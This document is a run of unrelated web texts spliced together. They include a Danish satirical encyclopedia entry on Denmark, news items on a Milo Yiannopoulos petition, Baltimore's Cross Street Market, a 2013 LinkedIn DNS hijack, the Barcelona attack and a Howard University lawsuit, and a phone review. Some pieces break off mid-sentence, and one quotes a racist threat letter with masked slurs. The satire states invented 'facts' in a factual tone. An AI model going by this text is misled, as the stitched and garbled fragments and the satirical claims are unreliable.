Middelfart - Den eneste by på Fyn - udover Odense - som ikke ender på borg. Istedet fandt man på et endnu mere fjollet navn for engelsksprogede turister
Store jyske byer redigér
Hvis man - Gud forbyde det - eksperimenterer ved at bevæge sig rundt i Jylland, vil man opdage, at der er over 20 km mellem hver by. Et sandt ørkenhelvede venter folk, når de bevæger sig ud på bøh-landet i det jyske.
Herning - Eneste producent af al undertøj til Jyllands mænd kvinder, børn og svin. Byen ligger for enden af en motorvej, ingen ved eksisterer
Esbjerg - Danmarks eneste færgeforbindelse til fastlandet i Europa. Derfor et vigtigt knudepunkt, for folk der ikke har råd (eller er for nærige) til at betale det en flybillet koster [20]
Tilst - Jyllands største by ligger... Ja, hvor fanden ligger Tilst egentlig?!
Aalborg - DobbeltA [21] er Nordjyllands hovedstad, og prøver at markedsføre dem selv som Europas Paris. Med begrenset succes
er Nordjyllands hovedstad, og prøver at markedsføre dem selv som. Med begrenset succes Aabenraa (og omegn) - er Danmarks mindste område målt på intelligens. Men danmarksmestre i traktor træk for 107. år i træk. Hovedsageligt fordi at de er de eneste, der deltager.
Se også redigér
Industri redigér
Mærsk er Danmarks største firma, da det kan fylde hele Københavns Lufthavn. Firmaet er Danmarks varemærke. Det er ufattelig let at tjene mange penge i Danmark. SAS er et godt eksempel, hvor kunsten at styre et fly fra A til Å har skaffet indehaveren ufattelige mængder penge. Hovedsageligt fordi at destinationerne Æ-Å kun også tilbydes af andre flyselskaber i Skandinavien.
I Danmark har man kun fem virksomheder: SAS, Legoland, A. P. Møller, Staten[22], Carlsberg/Tuborg-bryggerierne, BonBon-Land og Super Brugsen. Og Zentropa. På grund af grundlovens erstatning af janteloven under industrialiseringen, er det forbudt at starte en virksomhed uden samtidig at forære alle andre borgere en, der er magen til.
Danmarks største industri er jura. Mange mennesker lever af det danske retssystem. Heraf er tre pct. lovlydige.[23]
En simpel sag, hvor en voldsmand idømmes 20 dages fængsel i byretten, vil sædvanligvis blive anket til landsretten af enten forsvareren, der synes, at dommen er for streng, eller anklageren, der synes, at dommen er for mild. På den måde får samtlige advokater et honorar mere. Sædvanligvis vil en dom på 20 dages fængsel nedsættes til 17 dages fængsel, hvilket giver den dømte tre dages erstatning, så han får råd til at gå på værtshus igen efter fem dage under prøveløsladelsen og dermed starte voldsorgiet forfra, hvilket sikrer, at der kort efter er penge i banken til såvel forsvarer som anklager - igen. Ganske simpelt.
En livstidsdom i Danmark er forståeligt nok på 16 år, hvor en dom resten af livet sjovt nok ER resten af livet. Dette er en logik, som er nøje gennemtænkt af diverse tænkere, samlet op fra havets bund. Dog har Spademanns Leksikon snuset sig frem til forklaringen. Hvis man giver livstid (altså rigtig livstid på mange, mange år), så tjener advokaterne ikke penge[24].
Foruden jura, er 87 pct. af den "danske" befolkning beskæftiget i bistandsindustrien. Enten i form af administrativt arbejde eller som modtagere af den såkaldte kontanthjælp, hvilket er betaling for at se TV og drikke bajere.
Nabolandet Tyskland er oprettet til at være alle danskeres private butik med billig sprut. Sveriges opgave er derimod at få svenskerne til at hente al den sprut. Dette ses på de undervognssænkede varevogne og trailere.
Kultur redigér
Efter at Danmark fik sin helt egen kulturkanon er kulturen nærmest eksploderet. Der er kultur alle vegne - sågar en kulturnat. Lige fra Bøvl og Gram til helt ude i Hampen. Der bliver sunget, spillet, malet, tegnet og set fjernsyn så det er en lyst.
Et af Danmarks vigtigste kulturelementer er det politiske debatprogram 'Dolph & Wulff', som med en kritisk journalistik ser til at vigtige debatter følges grundigt til dørs. Til tider fysisk ved at blive smidt på porten af ninjaer. En Bullterrier-vindene episode omhandler debatten om hvorvidt slum-ghettoen Christiania burde ryddes. Takket være de to debattørers professionelle tilgang til interviews, blev det afgjort at Christiania bør bevares helt og aldeles grundet dets sociale omsorg for sinker der bruger rulleskøjter på græs, samt kønsforvirrede folkeskolelærere.
Se også redigér
Sport redigér
Danskerne elsker at konkurrere med hinanden gennem konkurrencer i givende sportsgrene. Heldigvis er danskerne så pivhamrende elendige til al slags sport, at det er ganske underholdende at se på. Så længe man ikke betaler[25] i dyre domme.
Mest elsket af danerne er sporten fodbold. Her i landet har danskerne således også en privat fodboldliga, som de sjovt nok kalder for superligaen. Det er en liga for alle superhold i det danske land. Og det er således også danskernes ansigt udadtil i Europa og Udlandet. Derudover har man i Danmark også et fodboldlandshold. Disse mænd spiller til dagligt i idræts PARKEN, som er en katedral i dansk fodboldhistorie. Det er således her at mange gamle minder fra de gode gamle dage befinder sig, og nationale fænomener såsom bølgen er naturligvis en meget yndet seværdighed for udenlandske turister[26].
Sprog redigér
Danmark på andre sprog ar:الدانمارك
bg:Дания
da:Kongeriget Danmark
de:Dänemark
en:Denmark
eo:Damnio
es:Dinamarca
fa:دانمارک
fi:Tanska
fo:Pølse
fr:Danemark (også kendt som Le Sveine Countruie)
he:דנמרק
hr:Danska
id:Demak
it:Danimacchia
ko:덴마크
jp:デンマーク
se: Norge
lt:Danija
nl:Denemarken
no:Danmark
pl:Dania
ru:Дания
sv:Kungriket Danmark
us:Sweden
zh-tw:丹麥
åå:Le Oksebeuf
Den Danske Sprog kan åpdelæs i flerå kattegoriår. Dær ær blant andæt talæ åm Jysk, "fynsk", Rigsdansk, samt flerå dialæktår fra Lolland-Falster og dæ øvrigæ Sjælland. Dog skal dæ nævnes, a' Den Danske Sprog ær blevæt åpdelt i ovår 60 ånder kattegoriår. Sprogets åprændælsæ ær ukændt. Noglæ menår at dæ stammer 400 år før Jesus fødsel, og sidæn ær blevæt meræ og meræ åmfattænde. Iser æftår dæ storå Beatlemania og 1980'erne blev sproget udvidæt særdelæs. I dag kan danskerne pralæ mæd at kunne tale æt af værdæns sværåstæ språg. Dætte har også dæn praktiskæ fordel, at man næmmerå kan indæntificerå indvandrå.
Vedrøråndæ åm læring af språget, har Sprogministeriet varmt anbæfalæt at brugæ og lærå ud fra di tidligstæ "Asterix" hæftår, samt at se Morten Korchs samlædæ værkår (inden for ét år, hvis du er hardcore). Dærudovår ær dæ muligt at blivæ meræ bekændt mæd di øvrigæ dialæktår, væd at se ganskæ få afsnit af "The Julekalender". Hves alt skullæ fajlæ, kan man prøvæ dæn bærømtæ øvælsæ "Rød Grød Med Fløde", mæn dættæ krævår spæsjial tilladælsæ fra møndijhædårnæ.
Eksempel på et ordsprog af dialekten 'Vestegnsk': den Danmarske språu blir værstere og værstere, men mig bar' li'majet!
Eksport redigér
Danmarks største eksportvarer er som følger:
Import redigér
Danmarks største importvarer er som følger:
Se også redigérStudents at DePaul University have launched an online petition urging the cancellation of an upcoming talk by Breitbart Tech editor Milo Yiannopoulos, saying that Milo’s words “hurt people” and even “kill”.
Milo is of course no stranger to backlash from leftist college students: only this week, we reported that the students at UC Irvine were recommended to attend “Safe Space training” before they attended Milo’s talk.
One section of the DePaul petition reads:
As a Vincentian institution, DePaul University is responsible for standing against systemic injustices in all forms. Students from communities of all races, sexual and gender identities, and religious affiliations deserve to be able to co-exist on campus without the presence of the virulent hatred Yiannopoulos promotes. The systemic oppression of these communities is not a form of “intellectual thought”, nor is it just “someone’s opinion.” It is not a tool for an entertainer to use and classify as “pop culture” or “sensationalism” to turn a profit. It is real, it hurts people, and it kills. Yiannopoulos profits off of the oppression of others.
The Change.org petition, addressed to university President Dennis Holtschneider, also attacked the name of Milo’s tour itself. Despite Milo being proudly gay, having the word “faggot” in the title is apparently still not acceptable for DePaul’s students, who call it a “homophobic slur.”
Yiannopoulos continuously speaks out in ways that are racist, sexist, homophobic, transphobic, anti-feminist, and Islamophobic … by inviting Yiannopoulos to speak at a campus function, the administration of DePaul University is allowing the rhetoric of hate speech and perpetuating systemic persecutions against people of color, women, Muslims, queer, trans, and gender nonconforming individuals, and other communities on campus.
According to the petition creators, Holtschneider had already refused a request from “No Hate”, the chosen moniker of the petition’s author, to cancel the event.
By failing to cancel the event after having been made aware of the possible consequences that would result from the presence of Yiannopoulos … they are allowing the perpetuation of both hate speech and systemic oppression on campus, and this is an unpardonable action for an institution which claims to stand for and with members of all communities within the human family.
At the time of writing, the petition has around 300 signatures – over halfway to its goal of 500, with supporters declaring that “DePaul needs to be a safe space from everybody” and that “there is no place for hate.”
However, some of those who signed the petition appear to oppose a ban on Milo, but used Change.org to comment on the outlandish nature of the petition and its attack on free speech. One commenter succinctly remarked that “having your worldview challenged by an intelligent, witty, and well-prepared lecturer is so frightening that [you] feel the need to stop it … the world is going to crush you.”
Jack Hadfield is a student at Warwick University and a regular contributor to Breitbart Tech. You can follow him on Twitter here: @ToryBastard_.This year’s installment of Cloud 9 Adventures’ Dominican Holidaze destination concert vacation will be held at Punta Cana Resort & Spa and Now Onyx Punta Cana in the Dominican Republic December 1 – 5. Today Cloud 9 Adventures have revealed the initial musical lineup for this December’s 10th anniversary installment of Holidaze.
Host bands Umphrey’s McGee, The Disco Biscuits and STS9 will each perform two full two-set shows on the beach plus an additional sunset show. This year’s lineup also features Joe Russo’s Almost Dead, Lotus, Lettuce, Shpongle (Simon Posford DJ Set) and The Floozies, who will each play one show on the beach. Look for additional late night and poolside artists to be announced soon.
Dominican Holidaze ’16 will host attendees at both Punta Cana Resort & Spa and Now Onyx Punta Cana with guests able to move freely between the two resorts. In addition to the music, festivalgoers at the all-inclusive event can partake in a variety of tailored activities that will include daily yoga, a wide variety of artist-hosted interactive activities and workshops, an autograph signing, poolside competitions, beach games and theme nights. Those seeking more adventure can also book off-site excursions to explore the local culture and beauty of the Dominican Republic.
Those who have attended past Holidaze events will have first dibs on all-inclusive packages starting on May 19. If rooms remain following the pre-sale, there will be a general on sale beginning May 20, 2016 at 12:00 PM ET at Dominicanholidaze.com. Head to the festival’s website for additional details.After hearing at length from the developer overhauling Cross Street Market – how there will be a wine-tasting area and “a boutique beer-tasting concept,” how if Starbucks came there it would be attractive and “an homage to the original Starbucks” in Seattle – the audience last night exploded.
The market clearly needs a facelift, South Baltimore resident Bob Riley said at a gathering of about 200 people in Leadenhall Baptist Church. As someone who has enjoyed high-end food halls like Eataly, Riley noted, he’s not averse to foodie-ish change.
“But if improvements are made by stepping on the throats of my friends and my neighbors, I’ll never go in,” he declared to applause.
What drew many to the standing-room-only meeting was the recent announcement by the developer, Caves Valley Partners, of Towson, that the market would not be closed “in stages” as previously promised.
Instead the 17 merchants who sell cheese, fresh fish, produce and other items, would all have to vacate during the project which remains on schedule. Demolition is expected to start in May, and construction is projected to last 10 months, with the market reopening in spring 2018.
The developer’s offer to help them find space at the city’s Hollins Market or Lexington Market is cold comfort, say the merchants, who believe their customers would never find them there. Moving or simply shutting down for 10 months, they say, would be essentially a retail death sentence.
“You’ve spent an hour-and-a-half talking about your plans, the ingress and egress – what about the people?” said the merchants’ attorney, John C. Murphy, standing up in the audience.
“These are your community,” Murphy said, addressing the panel assembled by the City Hall point man for the market makeover, Councilman Eric T. Costello.
“There has been no assurance as to how the merchants are going to survive this process,” said Murphy, who said more than 70 people are employed by the small businesses he represents in the city-owned market.
Riverside resident Deborah Flavin warned the developers not to mismanage what she called the market’s greatest asset – its vendors.
“It’s about the people,” Flavin said. “When I go over there, I don’t say ‘I’m going to Cheese Galore.’ I say ‘I’m going to go see Sharon.’”
Game Changer
For Caves Valley principal Arsh Mirmiran, the evening meeting of the Cross Street Market Advisory Committee was an opportunity to both disclose new details about the project and defend himself amid intense criticism from some in the community.
“Anyone who thinks this is a get-rich-quick project, it absolutely is not... We are not doing this project to make money,” said Mirmiran, calling the $6.5 million market renovation “a phenomenal game changer” that will help “market Baltimore to ‘foodies.’”
He showed renderings of the future market, located on Cross Street between Light and Charles streets. It will have space for 27 merchants in 200- to 500-square-foot stalls, along with a 680-square-foot anchor bar-restaurant at the west end.
Mirmiran described communal seating for 200, tall glass windows intended to give the structure a more open look, and outdoor seating at the west end.
Costello, who chaired the meeting, was also under fire at times.
He responded, for example, to criticism that the committee – which includes political allies, a representative from the Horseshoe Casino and quasi-governmental entities like the Downtown Partnership – includes no current market merchants.
Costello said the merchants were in effect represented by groups on the committee like Federal Hill Main Street and that their lease negotiations might make their involvement in the panel inappropriate.
Those negotiations are moving forward after Caves Valley representatives approached the merchants’ attorney yesterday to say he will work out leases.
“I don’t know Arsh – he’s been courteous to me,” Murphy said, adding that officials from the city, which is contributing $2 million towards the project, have been less responsive.
Murphy said he’s had no response to a letter seeking help that he hand-delivered to the mayor’s office and to the Baltimore Public Markets Corporation.
Litigation Likely Over Nick’s
Some of the harshest exchanges of the evening were about Nick’s Inner Harbor Seafood, the popular raw bar that on January 1 had its lease abruptly terminated by Mirmiran for what the developer said was too many health code violations.
That allegation is “bogus,” said Gary Maslan, attorney for South Cross Street Market LLC, the owner of the business.
Maslan acknowledged that Nick’s has had minor violations but was never issued a “citation” and referenced a January 5 Health Department letter saying so.
Mirmiran fired back with asides about “rat feces” and said he had obtained “a clarification” of the January 5 letter, written on January 6 by the first official’s boss’s boss.”
In all, the second letter outlined 195 violations, three of them “critical,” Mirmiran said.
Members of the crowd chimed in. “You’re tying to steal this man’s business,” a woman said at one point. A man in the back of the room muttered loudly, “Nick’s is disgusting.”
Jae Lee, whose family owns Nick’s, spoke briefly as well. “Not a citation – just minor things!” he said heatedly.
Maslan said he will probably file a legal challenge to the lease termination next week.
Unusual Liquor License
In defending his client, one of two market tenants with a liquor license, Maslan also brought up the special license being sought for the redeveloped market.
“Arsh stands up there and says ‘I just want a little beer tasting license. I just want a little wine-tasting license,’” Maslan said.
“The license that they’re asking for is... for the entire market. It would allow them to sell beer, wine and liquor in 30,000-square-feet.”
It’s a sensitive subject in Federal Hill, where thee is a long history of complaints by some residents about the burgeoning bar scene and massive pub crawls attracting thousands.
For the market to obtain the license, legislative action in Annapolis is required to make an exception to a state law put in place to prevent the liquor license saturation in the neighborhood.
(Del. Luke Clippinger, 46th District, was on hand last night to explain the process and timetable for him to draft the legislation necessary to obtain the license.)
Members of the committee, polled by Costello on the subject, said they approved of the special license in concept, some noting additional restrictions should be added to minimize problems with the community and keep the market from becoming “a mega-bar.”
Several audience members, meanwhile, called on the developer and the city to abandon the special license altogether and simply purchase the existing two liquor licenses, from Nick’s and Big Jim’s Deli.
The subject was a painful one for Beth Hawks who said she moved her business out of Federal Hill because the atmosphere changed from family-friendly businesses to bars catering to the young.
“The only way you’re going to protect the market from the pub crawls,” Hawks said, “is if you build a moat around it.App.net cofounder Bryan Berg noticed that LinkedIn was DNS-hijacked tonight and that traffic was rerouted to a shady India-based site, www.confluence-networks.com. That’s bad for LinkedIn, but there’s worse news for you.
According to Berg, that site does not require SSL (secure sockets layer), which means that anyone who visited in the last hour or so sent it their long-lived session cookies in plain text … a potential security risk.
DNS hijacking is the process of redirecting a domain name to a different IP address. IP addresses are strings of numbers that identify a server, but they’re long and hard to remember. The DNS system allows us to use simple, easy-to-remember names like www.linkedin.com, and it then translates them to IP address like 216.52.242.86.
(You can also use that IP address, by the way, in your browser.)
You can hijack a company’s DNS on the client side by hacking individual computers’ network configurations and on the Internet side by hacking a DNS server — or by installing a rogue DNS server that masquerades as a real DNS server. Alternatively, if you can access a company’s domain records, you can change the IP address associated with that company’s web services.
DownRightNow shows that LinkedIn had a service interruption from about 6 p.m. tonight and lasting until now.
However, I’m able to access the actual LinkedIn service right now, so the site must be up and available for at least some users, or maybe the DNS hijack has only affected a percentage of users.
LinkedIn acknowledged the issue on Twitter but has not updated to say that it is completely resolved yet:
Our site is now recovering for some members. We determined it was a DNS issue, we’re continuing to work on it. Thanks for your patience. — LinkedIn (@LinkedIn) June 20, 2013
The big question right now is what consequences this might have for users who inadvertently accessed the wrong servers and potentially gave away cookie data that could compromise their accounts.
Image credit: Sheila Scarborough/FlickrAt least one student in Chicago’s public school system is mad as hell. And if the YouTube video posted Thursday by the urban culture website World-Star Hip-Hop is any indication, she’s definitely not going to take it any more.
The video shows a student from a high school on Chicago’s South Side berating a music teacher because, she says, he isn’t teaching students anything despite striking for a week for better wages.
The language in the video is occasionally explicit.
Watch:
The unnamed student is loud. She’s viscerally strident. She’s tremendously disrespectful. At the same time, if what she is saying is true, it’s a scathing indictment of incompetence in the Chicago public schools.
The three-minute-long video is a one-sided rant, making it impossible to know if the student’s views accurately represent what’s going on in the classroom.
“You went on strike for a whole week to get paid to teach us,” the furious student says. “And now you’re here, and you don’t want to teach. Man, you better teach me something.”
“You get paid, right? I want an education!” she continues. “I refuse to sit in this class and not be taught.”
The student rebuffs the teacher’s requests that she sit down, instead becoming even more emphatic. She refers again to the Chicago Teachers Union strike before accusing the teacher of failing his students.
“Every day I walk out of this class with nothing. Why? Because you don’t do your job,” she yells.
NewsOne, a website serving the black community, called the video “a diamond in the rough.”
Chicago public school teachers are among the most lavishly compensated in the nation, the website reported. Their average salary is $76,000 per year plus benefits and substantial time off. The Chicago Teachers Union’s new post-strike contract calls for guaranteed annual raises.
Follow Eric on TwitterLate-night host Stephen Colbert mocked Donald Trump Jr. in his monologue Thursday after Trump Jr.’s lengthy testimony before the House Intelligence Committee earlier this week.
“[It] lasted roughly eight hours, making it the first time a Trump has put in a full day of work,” Colbert said.
Trump Jr. testified before the committee to answer questions about his contacts with Russians during the 2016 election, including a June 2016 meeting at Trump Tower with a Russian lawyer who promised him damaging information on then-Democratic presidential candidate Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE.
ADVERTISEMENT
Former Trump campaign chairman Paul Manafort and President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s son-in-law, White House senior adviser Jared Kushner, were also in attendance.
“Everybody was at the meeting. Paul Manafort, Jared Kushner — it was a real who’s who of who wants an orange jumpsuit,” Colbert said.
The comedian also mocked Trump Jr. for refusing to answer some of the committee’s questions about his conversations with his father regarding the meeting, citing attorney-client privilege. Trump Jr. reportedly said he was invoking the privilege because an attorney was in the room at the time of the discussions.
“Is that how it works?” Colbert said. “If that’s how it works, I’m going to rob a law firm. ‘Alright everybody, hands in the air. Remember, none of you can testify.’”
Democrats on the House Intelligence Committee ripped Trump Jr. after his testimony, with Rep Jackie Speier Karen (Jackie) Lorraine Jacqueline SpeierDems call on Trump to fire Acosta Female Dems see double standard in Klobuchar accusations Joe Kennedy introduces resolution rejecting Trump’s transgender military ban MORE (D-Calif.) saying his testimony revealed a “very serious case of amnesia.”
“My takeaway is he has a very serious case of amnesia and he was pretty nonresponsive on a lot of issues that, frankly, you would have a recollection of, considering it was just a year ago that many of these events took place,” Speier said on CNN.Good in the Hood received this envelope Wednesday with a threatening letter inside. (KATU)
Organizers of the Good in the Hood festival are in shock after they received a racist letter this week threatening the organization’s president, his family and the festival itself.
Now the FBI is investigating.
The letter came to the office of Good in the Hood on Wednesday.
“We noticed the back side of the envelope there was a Band-Aid, and it looked like it had blood on it or something,” said Shawn Penney, president of Good in the Hood.
They cautiously opened the letter using gloves. The letter was threatening and littered with spelling errors.
"To all [N-word] lovers and [N-words]!
Our President Trumt [sic] has issued an excecutive [sic] order to kill all [N-words]! [N-words] will die at this so called Good in the Hood.... The Good in the Hood will not happen unless you want to see a blood |
has a pleasing, almost surprising, clarity to its output. Bass, however, is as absent on the Desire S as on any other smartphone's speaker. Carrying out the now auxiliary function of making phone calls is also no problem for the Desire S -- it neither sets itself apart in terms of call quality / reception, nor trails the pack.Perhaps the biggest fault one could find with the original Desire was its short battery life. It gave you a great screen to look at and a ton of capabilities to exploit, but nowhere near enough endurance. Thankfully, the newer Snapdragon hardware is much more efficient with its energy use and makes the 1450mAh cell inside the Desire S look like a standout. It had no trouble matching the similarly specced Incredible S for runtime and you can rest assured that you'll get a busy day's worth of battery from it. With lighter use, there's no reason why you won't be able to go a couple of days between recharges.The Desire S makes use of the same Super LCD tech as the Incredible S, leaving us to only echo what we said of its bigger sibling. You get vibrant, well saturated images, which also benefit from excellent viewing angles. The only weakness is readability in direct sunlight. One thing we omitted to mention in the Incredible S review was that the screen is protected by Gorilla Glass, a feature that has naturally been included on the Desire S as well. We've made no secret of our admiration for the Gorilla tech, which you may check out in the demo video below. We'd do one for this particular handset as well, but doubt HTC would appreciate us trying to destroy its tenderly crafted device.Aside from their divergent dimensions and construction materials, the biggest difference between the Desire S and Incredible S is in their camera sensors. It's not always true that more megapixels equal better image quality, but in this case, the 8 megapixel imager on the Incredible S is markedly ahead of the Desire S' 5 megapixel unit. You won't notice this advantage while perusing images on the phone itself or even when sharing them over the web at resolutions of 1 megapixel or below (e.g. 1280 x 720), but if you care about quality at the full 2592 x 1552 size, you'll be left a little disappointed. HTC very actively compensates for camera noise by blurring areas of similar color while simultaneously sharpening edges where it finds them. For the most part, this software solution to an underwhelming sensor works very well, but photography purists will be cringing, and so will anyone else who might be interested in taking broader shots and cropping them down to the areas of interest. Chromatic noise also makes an unwelcome appearance but does so relatively rarely and is hardly noticeable in lower-res pictures. The Desire S' camera can be considered great at 1 megapixel resolutions and merely okay at the full 5.Barcelona's chief rabbi has urged Jews to move to Israel after warning that Europe has been 'lost' because of the threat from radical Islam.
At least 14 people were killed and some 130 others injured when attackers ploughed into pedestrians on a promenade in the tourist area on Thursday evening.
ISIS has claimed responsibility for the Barcelona outrage and another attack in Cambrils yesterday, which resulted in one person dying and seven people being injured after five men wearing fake suicide belts drove an Audi A3 into crowds on the seafront.
Western Europe has been a regular target for jihadists over the last few years. And Barcelona's chief rabbi Meir Bar-Hen told his congregation to move to Israel to flee terror.
Barcelona's chief rabbi Meir Bar-Hen told his congregation to move to Israel to flee terror
This rented van brought terror to the streets of Europe when it was driven at speed down a busy street in central Barcelona, killing 14 including a three-year-old boy
A man lying on the street in Barcelona after the van ploughed into pedestrians along Las Ramblas
In an interview with Jewish news agency JTA, he said: 'I tell my congregants: Don't think we're here for good, and I encourage them to buy property in Israel'
'This place is lost. Don't repeat the mistake of Algerian Jews, of Venezuelan Jews. Better (get out) early than late. Europe is lost.'
The Federation of Jewish Communities of Spain did not to share Bar-Hen's pessimistic outlook. The organization issued a statement Thursday, saying: 'Spanish Jews trust the State Security Corps that work daily to prevent radical fanatics and Islamists from sowing chaos and pain in our cities.'
The group also urged politicians to 'deal intelligently and determinedly with the struggle against fanaticism and in favor of freedom and democracy.'
The terrorists had originally planned to drive three vans packed with explosives into iconic parts of Barcelona including the Sagrada Familia cathedral, it has been reported.
Had their butane-filled gas containers not accidentally detonated the night before the atrocities on Thursday, the 12-person terror cell would have used them to maximise deaths in the tourist hotspots of the Spanish city, local media suggest.
British tourist Harry Athwal rushed to help a young child who was lying injured on the pavement immediately after Thursday's horrific terror attack in Barcelona
Pictured is the van used in the attack being taken away by police.
Seven people, including a policeman, were injured in Cambrils after the killers attacked. Pictured are police taping off the scene
They intended to explode one van in Las Ramblas, a second by the world-famous Sagrada Familia cathedral and the last in the port area of the city, El Espanol has claimed.
The cathedral, a UNESCO World Heritage Site, is one of the most visited attractions in Europe.
Architect Antonio Gaudi began construction in 1882 and, despite him dying in 1926, it is still officially incomplete.
In 2010 it was consecrated by Pope Benedict XVI as a minor basilica.
How the Barcelona attack unfolded: Map shows the route the terrorist took as he ploughed into scores of holidaymakers
Hundreds crowded to see the royals as they paid tribute in Barcelona to the victims of the van attack
Barcelona, a hugely popular tourist destination, came to a halt at noon on Friday (11am BST) as a minute’s silence was observed in the Placa Catalunya, close to the scene of the attack.
Led by King Felipe and Spanish prime minister Mariano Rajoy the silence was then followed by applause for the victims.
Three days of mourning have been declared by the government of Catalonia.
Catalonia's emergency services have said that as of today 54 people remained in the hospital, 12 of them in critical condition, from both attacks.Fourandsixty / Wikimedia Commons / Via commons.wikimedia.org Howard University
Howard University failed to swiftly handle sexual assault reports, leading to at least one assailant raping on campus again, a federal lawsuit claims. What's more, the Washington, DC school refused to provide the help that suicidal rape victims requested and let an accused rapist who was an RA have access to a key to his alleged victim’s dorm room, according to the complaint filed Wednesday. The university's handling of the sexual assault cases pushed two of the plaintiffs, referred to in the suit as Jane Does 1 through 5, to leave Howard's campus due to concerns about safety and their mental health. “If my case was handled the way it was supposed to be handled,” Jane Doe 2 told BuzzFeed News, echoing the allegations in the complaint, then Jane Doe 1 “would've never met her assailant. He would've been dismissed." Doe 1 and Doe 2 say in the suit they were raped by the same male student — who allegedly transferred to Howard after being accused of sexual misconduct at UCLA — but the university didn't act until one of the women went public in March 2016 in a series of tweets, which prompted a campus protest. After the tweets appeared, the civil complaint states, Howard’s Dean of Student Affairs told her, "You embarrassed your family by doing that." Doe 1 says in the suit she was also fired as a resident assistant after reporting her rape, while Doe 2 says the university took away her financial aid and threatened to refer her debt to a collection agency. The lawsuit also accuses Candi Smiley, the Howard official in charge of dealing with sexual assault cases, of going weeks or months without responding to emails and phone calls from alleged rape victims and their advocates. Multiple officials in the complaint are similarly accused of not returning phone calls or emails from women checking for updates on their investigations, asking for counseling, or requesting extensions for class assignments as they dealt with their cases. However, the complaint only names Howard University as a defendant. The university and officials mentioned in the suit did not comment on the lawsuit on Wednesday. A Howard spokesperson said it is university policy to not comment on pending litigation. Jane Doe 5 was just a month away from graduation when she reported to the city police and the university in April 2015 that a fellow student assaulted her, the complaint states. She did not feel safe at Howard anymore and asked to finish her credits at another campus. According to the suit, it took Howard official a month to reply: She needed to provide a police report to show "that this incident happened" before they would decide. An administrator then told Doe 5 to go ahead and take those classes that summer, the complaint claims, but after she completed her courses, the university took seven months to confirm it would count her credits and let her graduate.
"You have black men and women applying and going to HBCUs, believing that they're going to be safe, but they're only thinking honestly about racism."
"This is an egregious case," said Linda M. Correia, the DC-based attorney representing the five plaintiffs. "These young women are living on a campus where they have reached out for help from the school, and the passage of time is just compounding the harm that they feel. They should feel safe on their campus, safe in their classrooms, in their dorms, and Howard has not ensured that they do feel safe." The federal lawsuit touches on a number of key criticisms of how colleges handle sexual assault reports. However, experts briefed on the allegations say there's an added sense of betrayal for Howard students that these allegations come out of such a prominent historically black college, or HBCU. "I think that's the travesty: that you have black women and men applying and going to HBCUs, believing that they're going to be safe, but they're only thinking honestly about racism," said Aishah Shahidah Simmons, a visiting scholar at the University of Pennsylvania and filmmaker whose documentary NO! focused on black female rape survivors. Simmons noted that HBCUs have seen a spike in enrollment in recent years, amid the rise of the Black Lives Matter movement and racial turmoil at predominantly white institutions, or PWIs. "It's unfortunate they are applying, trying to escape the other forms of violence on PWIs and still confronted with this form of violence," Simmons told BuzzFeed News. "This notion that an HBCU is a safe space in terms of race — it is a safe space, but until they incorporate anti-rape work, it is not a safe space on gender-based violence." Among the more than 100 HBCUs, Howard is considered one of the most elite, sometimes referred to as the "Mecca" of black education because of how many African-American PhDs, lawyers, and prominent graduates it has produced. But like many of its HBCU peers, it has struggled financially over the past several years, due to funding declines, its troubled hospital, changes to a type of federal financial aid that many students use, and — some critics argue — leadership problems. Trying to address its dire finances, Howard laid off hundreds in recent years, resulting in censure by faculty and trustees. The financial issues at HBCUs create major roadblocks in addressing sexual assault, a team working with the US Department of Justice's Office on Violence Against Women recently found. HBCUs need more counseling staff and advocates focusing on sexual violence, the team concluded, and more training for faculty and staff about how to deal with these issues — and improvements like those aren’t free. Still, Howard has received over $1 million in the past decade from the US Department of Justice specifically to address sexual assault. The DOJ money requires grantees to make key improvements, including training campus officials about how best to respond to rape reports. Howard has promoted resources it says it offers victims of assault and has prevention programs meant to help stop abuse in the first place. But according to the federal lawsuit, the university is falling far short when cases crop up in real life.
"When both people involved are students, the men are always treated with a level of protection that the women are not."
When Doe 1 reported her assault to Smiley, Howard’s Title IX Coordinator, on Feb. 28, 2016, according to the suit, her goal was to not see her assailant in her classes or living space. Smiley said they couldn't remove him from her classes until an investigation was complete, the complaint states. Despite several calls for updates on the investigation, according to the suit, Doe 1 didn't hear from Smiley again for a month, except for once in March when Smiley asked Doe 1 if she was talking about her rape report in text messages with her friends. Several days after Smiley asked Doe 1 this, the legal filing says the university fired Doe 1 from her RA position. Doe 1 decided to vent about how the university was treating her on Twitter, starting what the lawsuit describes as a "Twitter storm" on March 21st, outing the alleged assailant, and remarking "this is why people don't say nothing. they wanna avoid all this unnecessary bullshit." Dozens of students offered support for Doe 1, and around 100 students protested on campus on March 22, 2016 in response to her tweets.
Dozens of @HowardU student protestors now blocking 4th Street chanting "no means no" @wusa9Atlas Obscura on Slate is a blog about the world's hidden wonders. Like us on Facebook, Tumblr, or follow us on Twitter @atlasobscura.
Though long abandoned, Dogpatch USA was arguably the country's most successful hillbilly-themed amusement park centered on a trout farm.
In 1966, the Raney family trout farm in Marble Falls, Arkansas went up for sale. A company named Recreation Enterprises bought the land for an obvious reason: to turn it into a rustic theme park based on Al Capp's hillbilly-themed Li'l Abner comic strip.
Advertisement
The hick motif was none-too-subtle: attractions included Barney Barnsmell's Skunk-Works, Rotten Ralphie's Rick-O-Shay Rifle Range, and a roller coaster called Earthquake McGoon's Brain Rattler. Instead of garbage cans, the park had "trash eaters"—mechanical pigs, goats, and wild hogs that would suck refuse from the hands of whoever fed them. ("Please feed the trash eaters," read the signs, "they gits hongry, too.")
Among all these exciting spectacles was the star attraction: the trout pond. Visitors could catch as much fish as they liked and have it cleaned and packed in ice for a dollar per pound. If you didn't want to lug your trout home, staff at the Dogpatch restaurant could even cook up your catch and serve it to you for dinner.
Despite all these delights, by the mid-1970s, the park was beginning to flounder. Rising interest rates, a national energy crisis, and the fading of hillbillies from pop culture all contributed to Dogpatch's financial troubles. New rides with tenuous links to the park's theme attempted to capitalize on trends—Li'l Abner's Space Rocket ride promised "all the thrills and realism of an actual space shuttle and all the fantasy of Star Wars." It delivered neither.
